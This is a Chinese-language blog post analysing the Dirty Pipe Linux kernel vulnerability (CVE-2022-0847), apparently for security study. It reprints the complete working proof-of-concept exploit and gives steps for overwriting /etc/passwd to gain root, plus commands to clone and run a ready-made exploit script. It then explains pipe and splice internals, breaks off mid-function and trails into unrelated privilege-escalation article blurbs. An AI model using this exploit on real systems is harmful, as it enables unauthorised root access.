cve-2022-0847linux内核提权漏洞分析(代码片段)

Tr0e Tr0e     2022-12-03     198

关键词:

文章目录

前言

2022年2月23日,Linux 内核发布漏洞补丁,修复了内核 5.8 及之后版本存在的任意文件覆盖的漏洞 (CVE-2022-0847),该漏洞可导致普通用户本地提权至 root 特权,因为与之前出现的 DirtyCow “脏牛”漏洞 (CVE-2016-5195) 原理类似,该漏洞被命名为 DirtyPipe。

在3月7日,漏洞发现者 Max Kellermann 详细披露了该漏洞细节以及完整POC,参见:The Dirty Pipe Vulnerability。Paper 中不光解释了该漏洞的触发原因,还说明了发现漏洞的故事, 以及形成该漏洞的内核代码演变过程, 非常适合深入研究学习。

【漏洞影响版本】5.8 <= Linux内核版本 < 5.16.11 / 5.15.25 / 5.10.102。该漏洞已在 Linux 5.16.11、5.15.25 和 5.10.102 中修复,同时不影响 5.17-rc6 之后的 Linux 内核版本。

漏洞复现

使用 Kali Linux 官方虚拟机 kali-linux-2022.1-vmware-amd64 对漏洞进行复现,其内核版本信息如下(Linux version 5.15.0-kali3-amd64 ):

1.1 文件覆写poc/exp

先使用漏洞披露者公布的 POC 进行漏洞验证:

/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <max.kellermann@ionos.com>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\\nssh-ed25519 AAA......\\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])

	if (pipe(p)) abort();

	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
	static char buffer[4096];

	/* fill the pipe completely; each pipe_buffer will now have
	   the PIPE_BUF_FLAG_CAN_MERGE flag */
	for (unsigned r = pipe_size; r > 0;) 
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		write(p[1], buffer, n);
		r -= n;
	

	/* drain the pipe, freeing all pipe_buffer instances (but
	   leaving the flags initialized) */
	for (unsigned r = pipe_size; r > 0;) 
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		read(p[0], buffer, n);
		r -= n;
	

	/* the pipe is now empty, and if somebody adds a new
	   pipe_buffer without initializing its "flags", the buffer
	   will be mergeable */


int main(int argc, char **argv)

	if (argc != 4) 
		fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\\n", argv[0]);
		return EXIT_FAILURE;
	

	/* dumb command-line argument parser */
	const char *const path = argv[1];
	loff_t offset = strtoul(argv[2], NULL, 0);
	const char *const data = argv[3];
	const size_t data_size = strlen(data);

	if (offset % PAGE_SIZE == 0) 
		fprintf(stderr, "Sorry, cannot start writing at a page boundary\\n");
		return EXIT_FAILURE;
	

	const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
	const loff_t end_offset = offset + (loff_t)data_size;
	if (end_offset > next_page) 
		fprintf(stderr, "Sorry, cannot write across a page boundary\\n");
		return EXIT_FAILURE;
	

	/* open the input file and validate the specified offset */
	const int fd = open(path, O_RDONLY); // yes, read-only! :-)
	if (fd < 0) 
		perror("open failed");
		return EXIT_FAILURE;
	

	struct stat st;
	if (fstat(fd, &st)) 
		perror("stat failed");
		return EXIT_FAILURE;
	

	if (offset > st.st_size) 
		fprintf(stderr, "Offset is not inside the file\\n");
		return EXIT_FAILURE;
	

	if (end_offset > st.st_size) 
		fprintf(stderr, "Sorry, cannot enlarge the file\\n");
		return EXIT_FAILURE;
	

	/* create the pipe with all flags initialized with
	   PIPE_BUF_FLAG_CAN_MERGE */
	int p[2];
	prepare_pipe(p);

	/* splice one byte from before the specified offset into the
	   pipe; this will add a reference to the page cache, but
	   since copy_page_to_iter_pipe() does not initialize the
	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
	--offset;
	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
	if (nbytes < 0) 
		perror("splice failed");
		return EXIT_FAILURE;
	
	if (nbytes == 0) 
		fprintf(stderr, "short splice\\n");
		return EXIT_FAILURE;
	

	/* the following write will not create a new pipe_buffer, but
	   will instead write into the page cache, because of the
	   PIPE_BUF_FLAG_CAN_MERGE flag */
	nbytes = write(p[1], data, data_size);
	if (nbytes < 0) 
		perror("write failed");
		return EXIT_FAILURE;
	
	if ((size_t)nbytes < data_size) 
		fprintf(stderr, "short write\\n");
		return EXIT_FAILURE;
	

	printf("It worked!\\n");
	return EXIT_SUCCESS;

编译上述 poc,并以 root 权限创建测试文件 test.txt,然后以普通用户身份运行 poc 对 test.txt 文件进行改写:

可以看到,已成功借助 poc 程序以 kali 普通 shell 用户的身份对属主为 root 的文件进行了覆写修改,至此证明了存在漏洞。

1.2 覆写/etc/passwd

借助上述 poc,下面对 /etc/passwd 文件进行覆写,修改 root 用户的密码使之为空,从而实现提权(su root命令无需输入密码)。

下面为 Kali Linux 原始的 /etc/passwd 文件:

──(kali㉿kali)-[~/DirtyPipe]
└─$ cat /etc/passwd     
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sb
……

简述下 /etc/passwd 各列的字段的含义依次为:

其中第二列的密码占位符如果为 x 则表示该账户需要密码才能登录,为空则账户无须密码即可登录。

1、先备份 /etc/passwd:

sudo cp  /etc/passwd  /etc/passwd.bak

2、覆写 /etc/passwd 文件,将 root 用户的密码占位符由 x 置为空,从而进行提权(再次切换 root 用户可以免密切换):

3、提权成功,验证完记得执行如下命令恢复 /etc/passwd 文件:

rm /etc/passwd
mv /etc/passwd.bak /etc/passwd

最后说一下,上述 poc 文件的编译及覆写 /etc/passwd 实现提权的过程,Github 上已有人合成一个 exp 脚本,可直接下载使用:

git clone https://github.com/imfiver/CVE-2022-0847.git
cd CVE-2022-0847
chmod +x Dirty-Pipe.sh
bash Dirty-Pipe.sh

脚本的使用方法和示例在 Github 上已说明得很清楚,此处不再赘述。

漏洞分析

根据补丁,漏洞发生点位于copy_page_to_iter_pipe 函数,增加了对buf->flags的初始化操作,所以这是一个变量未初始化漏洞。

copy_page_to_iter_pipe 的调用点出现在 splice 系统调用之中。splice 函数(系统调用) 通过一种"零拷贝"的方法将文件内容输送到管道之中,相比传统的直接将文件内容送入管道性能更好,具体在下文介绍。

2.1 Linux管道机制

漏洞别名脏管道,自然需要先了解一下管道 pipe。

Linux 系统在进程间完成数据传递需要借助操作系统提供特殊的方法,如:文件、管道、信号、共享内存、消息队列、套接字、命名管道等。随着计算机的蓬勃发展,一些方法由于自身设计缺陷被淘汰或者弃用。现今常用的进程间通信方式有:

  1. 管道 (使用最简单);
  2. 信号 (开销最小);
  3. 共享映射区 (无血缘关系);
  4. 本地套接字 (最稳定)。

管道一般用于父子进程之间相互通信,一般的用法如下:

  • 父进程使用 pipe 系统调用创建一个管道;
  • 然后父进程使用 fork 系统调用创建一个子进程;
  • 由于子进程会继承父进程打开的文件句柄,所以父子进程可以通过新创建的管道进行通信;
  • 父进程关闭管道读端,子进程关闭管道写端。父进程可以向管道中写入数据,子进程将管道中的数据读出。由于管道是利用环形队列实现的,数据从写端流入管道,从读端流出,这样就实现了进程间通信。

其原理如下图所示:

由于管道分为读端和写端,所以需要两个文件描述符来管理管道:fd[0] 为读端,fd[1] 为写端。向管道文件读写数据其实是在读写内核缓冲区

下面代码介绍了怎么使用 pipe 系统调用来创建一个管道:

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>
#include <string.h>

int main()

    int ret = -1;
    int fd[2];  // 用于管理管道的文件描述符
    pid_t pid;
    char buf[512] = 0;
    char *msg = "hello world";

    // 创建一个管理
    ret = pipe(fd);
    if (-1 == ret) 
        printf("failed to create pipe\\n");
        return -1;
    
  
    pid = fork();     // 创建子进程

    if (0 == pid)    // 子进程
        close(fd[0]); // 关闭管道的读端
        ret = write(fd[1], msg, strlen(msg)); // 向管道写端写入数据
        exit(0);
     else           // 父进程
        close(fd[1]); // 关闭管道的写端
        ret = read(fd[0], buf, sizeof(buf)); // 从管道的读端读取数据
        printf("parent read %d bytes data: %s\\n", ret, buf);
    

    return 0;

编译代码并运行,结果如下:

[root@localhost pipe]# gcc -g pipe.c -o pipe
[root@localhost pipe]# ./pipe
parent read 11 bytes data: hello world

管道的局限性:

  1. 数据一旦被读走,便不在管道中存在,不可反复读取;
  2. 由于管道采用半双工通信方式,因此数据只能在一个方向上流动;
  3. 只能在有公共祖先(有血缘)的进程间使用管道。

每个进程的用户空间都是独立的,但内核空间却是共用的,所以进程间通信必须由内核提供服务。在内核中,管道使用了环形缓冲区来存储数据。环形缓冲区的原理是:把一个缓冲区当成是首尾相连的环,其中通过读指针和写指针来记录读操作和写操作位置。如下图所示:

当向管道写数据时,从写指针指向的位置开始写入,并且将写指针向前移动。而从管道读取数据时,从读指针开始读入,并且将读指针向前移动。

在 Linux 内核中,使用了 16 个内存页作为环形缓冲区,所以这个环形缓冲区的大小为 64 KB(16 * 4KB)。这 16 个内存页面之间并不连续,而是通过数组进行管理,形成一个环形链表,维护两个链表指针,一个用来写(pipe->head),一个用来读(pipe->tail)。

管道对象

在 Linux 内核中,管道使用 pipe_inode_info 对象来进行管理,其定义如下所示:

struct pipe_inode_info 
    wait_queue_head_t wait;  //等待队列,用于存储正在等待管道可读或者可写的进程。
    unsigned int nrbufs,     //表示未读数据已经占用了环形缓冲区的多少个内存页
    unsigned int curbuf;     //表示当前正在读取环形缓冲区的哪个内存页中的数据
    ...
    unsigned int readers;    //表示正在读取管道的进程数
    unsigned int writers;    //表示正在写入管道的进程数
    unsigned int waiting_writers; //表示等待管道可写的进程数
    ...
    struct inode *inode;         //与管道关联的 inode 对象
    struct pipe_buffer bufs[16]; //环形缓冲区,由 16 个 pipe_buffer 对象组成,每个 pipe_buffer 对象拥有一个内存页
;

由于环形缓冲区是由 16 个 pipe_buffer 对象组成,所以来看看 pipe_buffer 对象的定义:

struct pipe_buffer 
    struct page *page;   //指向 pipe_buffer 对象占用的内存页
    unsigned int offset; //如果进程正在读取当前内存页的数据,那么 offset 指向正在读取当前内存页的偏移量
    unsigned int len;    //表示当前内存页拥有未读数据的长度
    ...
;

这里主要分析一下往管道中写数据时触发的 pipe_write 函数(linux-5.13\\fs\\pipe.c: pipe_write):

static ssize_t
pipe_write(struct kiocb *iocb, struct iov_iter *from)

	struct file *filp = iocb->ki_filp;
	struct pipe_inode_info *pipe = filp->private_data;
	unsigned int head;
	ssize_t ret = 0;
	size_t total_len = iov_iter_count(from);
	ssize_t chars;
	bool was_empty = false;
	bool wake_next_writer = false;

	··· ···
    ··· ···
	head = pipe->head;
	was_empty = pipe_empty(head, pipe->tail);
	chars = total_len & (PAGE_SIZE-1);
	if (chars && !was_empty)  
        //[1]pipe 缓存不为空,则尝试是否能从当前最后一页"接着"写
		unsigned int mask = pipe->ring_size - 1;
		struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
		int offset = buf->offset + buf->len; 

		if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
		    offset + chars <= PAGE_SIZE)  
            /*[2]关键,如果 PIPE_BUF_FLAG_CAN_MERGE 标志位存在,代表该页允许接着写
             *如果写入长度不会跨页,则接着写,否则直接另起一页 */
			ret = pipe_buf_confirm(pipe, buf);
			···
			ret = copy_page_from_iter(buf->page, offset, chars, from);
			···
			
			buf->len += ret;
			···
		
	

	for (;;) //[3]如果上一页没法接着写,则重新起一页
		··· ···
		head = pipe->head;
		if (!pipe_full(head, pipe->tail, pipe->max_usage)) 
			unsigned int mask = pipe->ring_size - 1;
			struct pipe_buffer *buf = &pipe->bufs[head & mask];
			struct page *page = pipe->tmp_page;
			int copied;

			if (!page) //[4]重新申请一个新页
				page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT);
				if (unlikely(!page)) 
					ret = ret ? : -ENOMEM;
					break;
				
				pipe->tmp_page = page;
			

			spin_lock_irq(&pipe->rd_wait.lock);

			head = pipe->head;
			··· ···
			pipe->head = head + 1;
			spin_unlock_irq(&pipe->rd_wait.lock);

			/* Insert it into the buffer array */
			buf = &pipe->bufs[head & mask];
			buf->page = page;//[5]将新申请的页放到页数组中
			buf->ops = &anon_pipe_buf_ops;
			buf->offset = 0;
			buf->len = 0;
			if (is_packetized(filp))
				buf->flags = PIPE_BUF_FLAG_PACKET;
			else
				buf->flags = PIPE_BUF_FLAG_CAN_MERGE;
            	//[6]设置flag,默认PIPE_BUF_FLAG_CAN_MERGE
			pipe->tmp_page = NULL;

			copied = copy_page_from_iter(page, 0, PAGE_SIZE, from); 
            //[7]拷贝操作
			··· ···
			ret += copied;
			buf->offset = 0;
			buf->len = copied;

			··· ···
		
        ··· ···
    
	··· ···
	return ret;

代码流程如下:

  1. 如果当前管道 pipe 中不为空 (head==tail判定为空管道),则说明现在管道中有未被读取的数据,则获取 head 指针,也就是指向最新的用来写的页,查看该页的 len、offset (为了找到数据结尾),接下来尝试在当前页面续写;
  2. 判断当前页面是否带有 PIPE_BUF_FLAG_CAN_MERGE 的 flag 标记,如果不存在则不允许在当前页面续写,或当前写入的数据拼接在之前的数据后面长度超过一页(即写入操作跨页),如果跨页,则无法续写;
  3. 如果无法在上一页续写,则另起一页;
  4. alloc_page 申请一个新的页,将新的页放在数组最前面(可能会替换掉原有页面),初始化值;
  5. buf->flag 默认初始化为 PIPE_BUF_FLAG_CAN_MERGE ,因为默认状态是允许页可以续写的;
  6. 拷贝写入的数据,没拷贝完重复上述操作。

漏洞利用的关键就是在 splice 中未被初始化的PIPE_BUF_FLAG_CAN_MERGE flag 标记,这代表我们能否在一个"没写完"的 pipe 页续写。

2.2 splice系统调用

splice 这个系统调用接口可以将数据从一个文件"零拷贝"到一个 pipe 管道。

#define _GNU_SOURCE         /* See feature_test_macros(7) */
#include <fcntl.h>

ssize_t splice(int fd_in, off64_t *off_in, int fd_out,
                      off64_t *off_out, size_t len, unsigned int flags);

/*
splice() moves data between two file descriptors without copying
between kernel address space and user address space.  It
transfers up to len bytes of data from the file descriptor fd_in
to the file descriptor fd_out, where one of the file descriptors
must refer to a pipe.
*/

“零拷贝”是作用于两个文件间移动,正常文件拷贝流程一般为 CPU 对内存空间进行多次读写操作将拷贝数据从用户态到内核态再返回用户态,而零拷贝让数据不需要经过用户态,而是将内核缓冲区与用户程序进行共享,这样就不需要把内核缓冲区的内容往用户空间拷贝。应用程序再调用 write(),操作系统直接将内核缓冲区的内容传输到指定输出端了。

比如 mmap 系统调用就是内核提供的一种零拷贝模式(不发生其他系统调用,跨越用户和内核的边界做上下文切换)。用户进程可以使用 mmap 直接将用户态的 buffer 映射到物理内存,不需要进行系统调用,直接访问自己的 mmap 区域即可访问到那段物理内存内容。

splice 系统调用到漏洞函数 copy_page_to_iter_pipe 调用栈很深,具体不详细分析,调用栈如下:

SYSCALL_DEFINE6(splice,...) -> __do_sys_splice -> __do_splice-> do_splice
    splice_file_to_pipe -> do_splice_to
        generic_file_splice_read(in->f_op->splice_read 默认为 generic_file_splice_read)
             call_read_iter -> filemap_read
                   copy_page_to_iter -> copy_page_to_iter_pipe

漏洞所在的 copy_page_to_iter_pipe 函数主要做的工作就是将 pipe 缓存页结构指向要传输的文件的文件缓存页,来看下函数源码(linux-5.13\\lib\\iov_iter.c: copy_page_to_iter_pipe):

static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t bytes,
			 struct iov_iter *i)

	struct pipe_inode_info *pipe = i->pipe;
	struct pipe_buffer *buf;
	unsigned int p_tail = pipe->tail;
	unsigned int p_mask = pipe->ring_size - cve-2022-0847linux内核提权漏洞分析(代码片段)

...e系统调用2.3漏洞利用流程总结前言2022年2月23日,Linux内核发布漏洞补丁,修复了内核5.8及之后版本存在的任意文件覆盖的漏洞(CVE-2022-0847),该漏洞可导致普通用户本地提权至root特权,因为 查看详情

linuxdirtypipe权限提升漏洞(cve-2022-0847)(代码片段)

LinuxDirtyPipe权限提升漏洞(CVE-2022-0847)漏洞描述攻击者通过利用CVE-2022-0847-DirtyPipe漏洞,可覆盖重写任意可读文件中的数据,从而可将普通权限的用户提升到root权限。影响范围5.8<=Linuxkernel<5.16.11/5.15.25/5.10.102安全版本该漏洞已... 查看详情

操作系统权限提升(十八)之linux提权-内核提权(代码片段)

Linux内核提权Linux内核提权原理内核提权是利用Linux内核的漏洞进行提权的,内核漏洞进行提权一般包括三个环节:1、对目标系统进行信息收集,获取到系统内核信息及版本信息;2、根据内核版本获取其对应的漏... 查看详情

linux内核漏洞提权(以cve-2015-1328为例)(代码片段)

文章目录Linux内核漏洞提权拿shell提权附件Linux内核漏洞提权一般webshell拿到的权限都是web容器权限,如iis就是iss用户组权限,apache就是apache权限,可以执行普通命令,但是如果要进行内网渗透就需要拿到系统权限... 查看详情

权限提升和维持(代码片段)

HVV笔记——权限提升和维持1Linux权限提升1.1内核提权1.1.1内核与发行版1.1.2内核漏洞1.1.3漏洞利用1.2SUDO提权1.2.1提权原理1.2.2命令的权限1.2.3权限提升1.2.4提升复现1.2.5堆缓冲区溢出漏洞1.3SUID提权1.3.1SUID权限1.3.2SUID提权原理1.3.3查找S... 查看详情

什么是电脑内核提权漏洞?

...以将本地低权限的用户提高成"至高无上"的统治者内核态的程序拥有一切权限,在WINDOWS操作系统上,没有任何其他软件可以限制内核态程序的行为,因此一旦内核提权漏洞被触发,攻击者就可以操纵系统一切可以操纵的... 查看详情

linux提权宝典(代码片段)

...思路是通过信息搜集查找可利用的文件/脚本/软件/用户/内核漏洞/恶意劫持/特定平台漏洞/框架漏洞/组件/等,写入或执行恶意命令/脚本/shell/添加高权限用户,提权成功,然后进一步利用。二、信息收集uname-a命令看完... 查看详情

windows提权第一篇-内核溢出漏洞提权(代码片段)

...为什么需要提权Windows提权的常见方法Windows系统常见命令内核溢出漏洞提权IIS权限拿shell提权过程信息收集提权apsx提权为什么需要提权读取/写入敏感文件重新启动之后权限维持插入永久后门Windows提权的常见方法1.内核漏洞2.错误... 查看详情

linux提权漏洞总结

https://github.com/SecWiki/linux-kernel-exploits https://www.sec-wiki.com/skill 查看详情

android内核层驱动程序uaf漏洞提权实例(代码片段)

文章目录前言UAF漏洞babydriver环境搭建漏洞分析提权expcred结构fork()函数总结前言自2021年11月从国企离职并入职互联网私企后,发现博客很少更新了……自然不是因为开始躺平了(菜鸡的学习之路还很漫长…),而... 查看详情

内网提权-系统篇

...rity-updates/https://portal.msrc.microsoft.com/en-us/security-guidancelinux内核提权脏牛漏洞内核版本>2.6https://github.com/SecWiki/linux-kernel-exploits 查看详情

利用cve-2021-3156进行远程提权

利用CVE-2021-3156进行远程提权一、漏洞简介2021年1月26日,Linux安全工具sudo被发现严重的基于堆缓冲区溢出漏洞。利用这一漏洞,攻击者无需知道用户密码,一样可以获得root权限,并且是在默认配置下。此漏洞已分... 查看详情

相互帮助:微软在linux中发现了两个提权漏洞

导读Microsoft365Defender研究团队在 Linux 操作系统中发现了两个漏洞,分别被跟踪为CVE-2022-29799和CVE-2022-29800(统称为Nimbuspwn),可允许攻击者提升权限以获取root权限并安装恶意软件。Microsoft365Defender研究团队在Linux... 查看详情

rhsa-2018:0395-重要:内核安全和bug修复更新(需要重启本地提权代码执行)(代码片段)

...管理控制台,逐个验证修复即可。 RHSA-2018:0395-重要:内核安全和BUG修复更新(需要重启、本地提权、代码执行) 漏洞编号影响分漏洞公告CVE-2017-121887.8Linuxkernel缓冲区错误漏洞CVE-2017-75187.8Linuxkernel权限提升 修复命令:y... 查看详情

内网渗透之提权(代码片段)

...Linux系统的反弹shell命令的一些收集对于Windows系统的提权内核溢出漏洞提权方法一:手动执行命令方法二:msf后渗透模块 方法三:WindowsExploitSuggester方法四:PowerShell中的Sherlock脚本Windows错误配置提权系统服务权限... 查看详情

“微软冲着linux大喊:快看,你这也有提权漏洞!”(代码片段)

...,前几天微软就揭露了几个会影响许多Linux发行版的提权漏洞 查看详情

sudo提权漏洞复现

Sudo是linux的系统命令,让普通账号以root方式执行命令 正常来说如果普通用户需要用sudo,需要修改配置文件/etc/sudoers,将sudo使用权赋予该用户 而这个漏洞使得普通用户也可以绕过安全策略,执行敏感命令漏洞影响的版本... 查看详情

内网渗透系列:权限提升方法小结(代码片段)

目录前言一、Windows1、BypassUAC(1)常用方法(2)常用工具2、提权(1)windows内核漏洞提权(2)服务提权(3)配置错误(4)其他(5)提权脚本二、Linux1、内核溢出提权2、计 查看详情